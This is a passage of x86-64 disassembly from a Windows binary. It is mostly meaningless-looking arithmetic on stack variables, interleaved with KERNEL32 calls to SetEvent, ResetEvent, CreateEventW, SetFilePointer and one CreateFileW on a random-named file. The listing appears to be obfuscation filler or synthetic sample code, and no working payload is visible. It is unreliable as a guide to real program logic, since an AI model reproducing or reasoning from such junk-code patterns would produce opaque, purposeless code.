call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe30], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2be2
mov rcx, qword [rsp + 0x2000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10dc], eax
mov rax, qword [rsp + 0xa58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4cc]
sub eax, ecx
mov word [rsp + 0x140], ax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x212c], eax
lea rax, [rsp + 0x1dc]
mov qword [0x1400fd340], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2815
mov rcx, qword [rsp + 0x2338]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
mov rcx, qword [rsp + 0x1ce0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1400fd2e8]
mov rcx, qword [rsp + 0x790]
mov qword [rsp + 0x4678], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4678]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x18a0], rax
mov rax, qword [rsp + 0x1350]
mov rcx, qword [rsp + 0xd30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc78], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xefe5
mov rcx, qword [rsp + 0x28c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a3c], eax
mov rcx, qword [rsp + 0x2450]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1684], eax
mov rax, qword [rsp + 0xb20]
mov rcx, qword [rsp + 0x1c30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1e58], rax
lea rax, [rsp + 0x25c]
mov qword [rsp + 0x9d0], rax
mov rax, qword [rsp + 0x1498]
mov rcx, qword [rsp + 0x1ba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x239], al
mov rax, qword [rsp + 0x12e0]
mov rax, qword [rax]
add rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x1c00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
and eax, ecx
mov byte [rsp + 0xfa], al
mov eax, dword [rsp + 0x47c]
mov dword [rsp + 0x1680], eax
movsx eax, word [rsp + 0x398]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fd140], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5764
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1e70], rax
movzx eax, word [rsp + 0x31c]
movzx ecx, word [rsp + 0x558]
shl eax, cl
mov word [rsp + 0x24c], ax
movzx eax, word [rsp + 0x8b4]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x458], ax
mov rax, qword [rsp + 0xd08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xca0]
sar rax, cl
mov rcx, qword [rsp + 0x1350]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1bb]
mov byte [rsp + 0x409], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xae11
mov rcx, qword [rsp + 0x1d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
mov rax, qword [rsp + 0x17e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd58]
add eax, dword [rcx]
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0xc98]
mov rcx, qword [rsp + 0x2898]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1920], rax
mov rax, qword [rsp + 0x1240]
movsx eax, word [rax]
movsx ecx, word [0x1400fd2c0]
sub eax, ecx
mov word [rsp + 0x314], ax
movzx eax, word [rsp + 0x2c0]
movzx ecx, word [rsp + 0x36c]
sar eax, cl
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb40]
mov rax, qword [rax]
mov qword [0x1400fd348], rax
movzx eax, word [rsp + 0x388]
mov word [rsp + 0x854], ax
mov rax, qword [rsp + 0x16c0]
mov rcx, qword [rsp + 0xc58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb8], rax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1370]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x18f0], rax
mov rax, qword [rsp + 0xa10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x28f0], rax
movsx eax, byte [rsp + 0xf4]
movsx ecx, byte [rsp + 0x13b]
or eax, ecx
mov byte [rsp + 0xf6], al
lea rax, [rsp + 0x11a0]
mov qword [rsp + 0x1930], rax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0xca8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12c0]
mov qword [rsp + 0x4680], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4680]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
lea rax, [rsp + 0x174]
mov qword [0x1400fd350], rax
mov rax, qword [0x1400fd1b8]
movzx eax, word [rax]
mov word [rsp + 0x6ac], ax
movzx eax, word [rsp + 0x4f0]
movzx ecx, word [rsp + 0x88]
sar eax, cl
mov word [rsp + 0x31c], ax
lea rax, [rsp + 0x41c]
mov qword [rsp + 0x1ee8], rax
movsx eax, byte [rsp + 0x82]
movsx ecx, byte [rsp + 0x10e]
add eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x1418]
mov rcx, qword [rsp + 0x2940]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd18], rax
mov eax, dword [rsp + 0x348]
mov dword [rsp + 0x1a70], eax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x314]
movsx ecx, word [0x1400fc3b0]
sub eax, ecx
mov rcx, qword [rsp + 0x1280]
mov word [rcx], ax
movzx eax, word [rsp + 0xaec]
movzx ecx, word [rsp + 0x1a4]
add eax, ecx
mov word [rsp + 0x28c], ax
mov rax, qword [rsp + 0xb48]
mov rcx, qword [rsp + 0xb20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fd258], rax
mov rax, qword [rsp + 0x1750]
mov rcx, qword [0x1400fd250]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc58], rax
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xfa8], rax
mov rax, qword [rsp + 0x17d0]
mov rcx, qword [rsp + 0xd78]
mov qword [rsp + 0x4688], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4688]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x12a8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5249
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1130], eax
mov rax, qword [rsp + 0x11e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14c8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1ce0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe30], eax
mov rax, qword [rsp + 0xc50]
mov eax, dword [rax]
mov dword [rsp + 0x1378], eax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x1428]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0xfd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
and eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf30]
mov qword [rsp + 0x4690], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4690]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2268], rax
lea rax, [0x1400fd214]
mov qword [0x1400fd358], rax
movsx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0xfa0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1280]
mov word [rcx], ax
mov rax, qword [rsp + 0x1280]
movzx eax, word [rax]
mov word [rsp + 0xecc], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [0x1400fd2d0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x37c], ax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov qword [rsp + 0x1c68], rax
mov rax, qword [rsp + 0x11f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf60]
add eax, dword [rcx]
mov dword [rsp + 0x8f8], eax
mov rax, qword [rsp + 0x7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1030]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x81], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xd00d
mov rcx, qword [rsp + 0x2ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27cc], eax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x1c80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2848], rax
mov rax, qword [rsp + 0x1a10]
movsx eax, word [rax]
mov rcx, qword [0x1400fd278]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x448], ax
lea rax, [rsp + 0x178]
mov qword [0x1400fd360], rax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov qword [rsp + 0x1760], rax
mov rax, qword [rsp + 0x1ee8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1228]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c0], ax
mov rax, qword [rsp + 0xf48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x90c], al
mov rax, qword [rsp + 0x9c8]
imul eax, dword [rax], 0x4a577fe
mov rcx, qword [rsp + 0x1948]
mov dword [rcx], eax
mov rax, qword [rsp + 0x22c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1c58]
shr rax, cl
mov rcx, qword [rsp + 0x1888]
mov qword [rcx], rax
mov eax, dword [rsp + 0x694]
mov dword [rsp + 0x630], eax
mov rax, qword [rsp + 0x7b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
and eax, ecx
mov byte [rsp + 0x409], al
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x1010], rax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd4]
or eax, ecx
mov rcx, qword [0x1400fd308]
mov word [rcx], ax
mov rax, qword [rsp + 0x950]
movzx ecx, al
mov rax, qword [rsp + 0x978]
shl rax, cl
mov qword [rsp + 0x1070], rax
mov rax, qword [rsp + 0xd78]
mov rcx, qword [rsp + 0x12b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x788]
movzx eax, word [rax]
mov word [rsp + 0x1578], ax
movzx eax, word [rsp + 0x730]
movzx ecx, word [rsp + 0x6b8]
add eax, ecx
mov rcx, qword [rsp + 0xfc8]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x808b
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov rcx, qword [rsp + 0x1b48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f8], eax
mov rax, qword [rsp + 0x1908]
mov rcx, qword [rsp + 0x22a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2ca8], rax
mov rax, qword [rsp + 0x1bc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x674], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x97a0
mov rcx, qword [rsp + 0x1d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe08], eax
movsx eax, byte [rsp + 0xf9]
movsx ecx, byte [rsp + 0x92]
sar eax, cl
mov rcx, qword [rsp + 0x968]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f0], eax
lea rax, [rsp + 0x2e88]
mov qword [rsp + 0x1250], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.nEnjd2WlXhq6bU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2860], rax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1010]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1400fd208]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c8]
mov eax, dword [rax]
mov dword [rsp + 0x1a80], eax
movzx eax, byte [rsp + 0x10a]
movzx ecx, byte [rsp + 0x51]
and eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x17e8], rax
mov rax, qword [rsp + 0x2330]
mov rcx, qword [rsp + 0x14b8]
mov qword [rsp + 0x4698], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4698]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1900], rax
mov rax, qword [rsp + 0x1400]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1008]
mov qword [rsp + 0x46a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x510], eax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x3fb], al
movsx eax, word [rsp + 0x110]
mov rcx, qword [rsp + 0x1420]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4d0], ax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
mov word [0x1400fd368], ax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov qword [rsp + 0x2968], rax
movzx eax, word [rsp + 0x4a4]
mov rcx, qword [rsp + 0x1228]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa98]
mov word [rcx], ax
movsx eax, word [rsp + 0x1d0]
mov rcx, qword [0x1400fd240]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x250], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x17e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ee0], rax
mov rax, qword [rsp + 0xf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1078]
add rax, qword [rcx]
mov qword [rsp + 0x1780], rax
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0x1450], rax
movsx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x92], al
movzx eax, word [rsp + 0x39c]
movzx ecx, word [rsp + 0x1dc]
sar eax, cl
mov word [rsp + 0x308], ax
lea rax, [0x1400fc3c8]
mov qword [0x1400fd370], rax
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
mov dword [rsp + 0x1988], eax
mov rax, qword [rsp + 0xd20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov rcx, qword [rsp + 0x830]
mov byte [rcx], al
lea rax, [rsp + 0x444]
mov qword [rsp + 0x14e0], rax
movzx eax, word [0x1400fd304]
mov rcx, qword [rsp + 0xd10]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb60]
mov word [rcx], ax
mov rax, qword [rsp + 0x1340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x236]
and eax, ecx
mov byte [rsp + 0xbc], al
lea rax, [rsp + 0x28f0]
mov qword [rsp + 0x1da8], rax
mov eax, dword [rsp + 0x998]
mov ecx, dword [rsp + 0x574]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f8], eax
lea rax, [rsp + 0x174]
mov qword [rsp + 0x18b0], rax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
movzx ecx, word [0x1400fd200]
add eax, ecx
mov rcx, qword [0x1400fd308]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9965
mov rcx, qword [rsp + 0x1ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x620]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1928], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4d58], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4468
mov rcx, qword [rsp + 0x2520]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov rax, qword [rsp + 0x9c0]
mov rcx, qword [rsp + 0x738]
mov qword [rsp + 0x46a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x16c8], rax
mov rcx, qword [rsp + 0x1e70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a54], eax
mov rax, qword [0x1400fd180]
mov rcx, qword [rsp + 0x2538]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2400], rax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14e0]
mov word [rcx], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x1788], rax
mov rax, qword [rsp + 0xfd0]
mov rcx, qword [rsp + 0x3130]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x82]
mov qword [rsp + 0x1510], rax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x159]
add eax, ecx
mov rcx, qword [rsp + 0x358]
mov byte [rcx], al
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0xad4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x678], eax
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x14e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd1d0]
mov word [rcx], ax
movzx eax, word [0x1400fd144]
mov word [rsp + 0x5bc], ax
movzx eax, word [rsp + 0x288]
mov rcx, qword [rsp + 0x1148]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x178], ax
mov rax, qword [rsp + 0x16e8]
mov rcx, qword [rsp + 0x1088]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x18b8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb4a9
mov rcx, qword [rsp + 0x1ce8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
mov rax, qword [rsp + 0xd38]
mov rcx, qword [rsp + 0xc98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1960], rax
mov eax, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x670]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0xda0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x180]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12f8]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc428], rax
mov rax, qword [0x1400fd218]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
mov rax, qword [rsp + 0xc58]
mov rcx, qword [rsp + 0x1750]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2428]
movzx ecx, al
mov rax, qword [rsp + 0xb68]
sar rax, cl
mov qword [rsp + 0x16a8], rax
mov eax, dword [rsp + 0x63c]
mov ecx, dword [rsp + 0xce8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x634], eax
lea rax, [rsp + 0xfc0]
mov qword [rsp + 0x1f10], rax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
add eax, ecx
mov byte [rsp + 0x109], al
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x2368], rax
movsx eax, byte [rsp + 0x1c7]
mov rcx, qword [rsp + 0x2418]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa88]
mov byte [rcx], al
mov rax, qword [0x1400fd350]
movzx eax, word [rax]
mov word [0x1400fd378], ax
movsx eax, word [rsp + 0x4cc]
mov rcx, qword [rsp + 0x12d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x30c], ax
lea rax, [rsp + 0x128]
mov qword [rsp + 0x10a8], rax
movzx eax, word [rsp + 0x1a4]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x420], ax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
mov dword [rsp + 0x13cc], eax
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x14f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x11d8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3e84
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x167c], eax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x1410]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9c], al
lea rax, [rsp + 0x494]
mov qword [rsp + 0x1fe8], rax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1cc], ax
mov rax, qword [rsp + 0x12f8]
mov rcx, qword [0x1400fd2b8]
mov qword [rsp + 0x46b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46b0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1400fc3f8], rax
lea rax, [rsp + 0x2838]
mov qword [rsp + 0x12b0], rax
mov rax, qword [rsp + 0x17d0]
mov rcx, qword [rsp + 0x14a8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x14a0]
mov rcx, qword [rsp + 0x1218]
mov qword [rsp + 0x46b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46b8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb48]
mov qword [rcx], rax
lea rax, [rsp + 0x36c]
mov qword [rsp + 0xdd0], rax
mov rax, qword [rsp + 0x1948]
mov ecx, dword [rsp + 0x480]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0xad8], eax
movzx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0xd98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x138], al
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [rsp + 0x10e]
sub eax, ecx
mov byte [rsp + 0x13b], al
mov eax, dword [rsp + 0x208]
mov ecx, dword [0x1400fd1d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x674], eax
lea rax, [rsp + 0x22a0]
mov qword [0x1400fd380], rax
movzx eax, word [rsp + 0x280]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x1280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bc], ax
movzx eax, word [rsp + 0x4b4]
mov word [rsp + 0x6f0], ax
mov rax, qword [rsp + 0xd78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x760], rax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe30], eax
mov rax, qword [rsp + 0xc68]
mov rcx, qword [rsp + 0x11c0]
mov qword [rsp + 0x46c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46c0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2348], rax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
add eax, dword [rsp + 0x514]
mov dword [rsp + 0x9a4], eax
movsx eax, byte [rsp + 0xf6]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov rcx, qword [rsp + 0x10b0]
mov byte [rcx], al
lea rax, [rsp + 0x21c]
mov qword [rsp + 0x1cc0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x50a9
mov rcx, qword [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
movzx eax, word [rsp + 0x6f0]
movzx ecx, word [rsp + 0x598]
and eax, ecx
mov word [0x1400fc3e4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2948], rax
mov rax, qword [rsp + 0xb48]
mov rcx, qword [rsp + 0x1bf8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x11e8]
movzx eax, word [rax]
mov word [rsp + 0x300], ax
movzx eax, byte [rsp + 0x1c2]
movzx ecx, byte [rsp + 0x91]
xor eax, ecx
mov byte [rsp + 0x108], al
mov eax, dword [rsp + 0x1a80]
movzx ecx, al
mov eax, dword [rsp + 0xad4]
shl eax, cl
mov rcx, qword [rsp + 0xd40]
mov dword [rcx], eax
lea rax, [rsp + 0x2940]
mov qword [rsp + 0x1ec0], rax
mov rax, qword [rsp + 0x1a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x570e
mov rcx, qword [rsp + 0x3680]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
mov rcx, qword [rsp + 0x1ce0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x2d5]
mov rcx, qword [rsp + 0x1840]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11d], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x4ce4
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x197c], eax
movsx eax, word [rsp + 0x448]
movsx ecx, word [rsp + 0x224]
sub eax, ecx
mov rcx, qword [rsp + 0x740]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd68]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc430], ax
mov rax, qword [rsp + 0x1350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1070]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2830], rax
mov rax, qword [rsp + 0x1038]
mov qword [rsp + 0x1fb8], rax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
movsx eax, word [rsp + 0x248]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
add eax, ecx
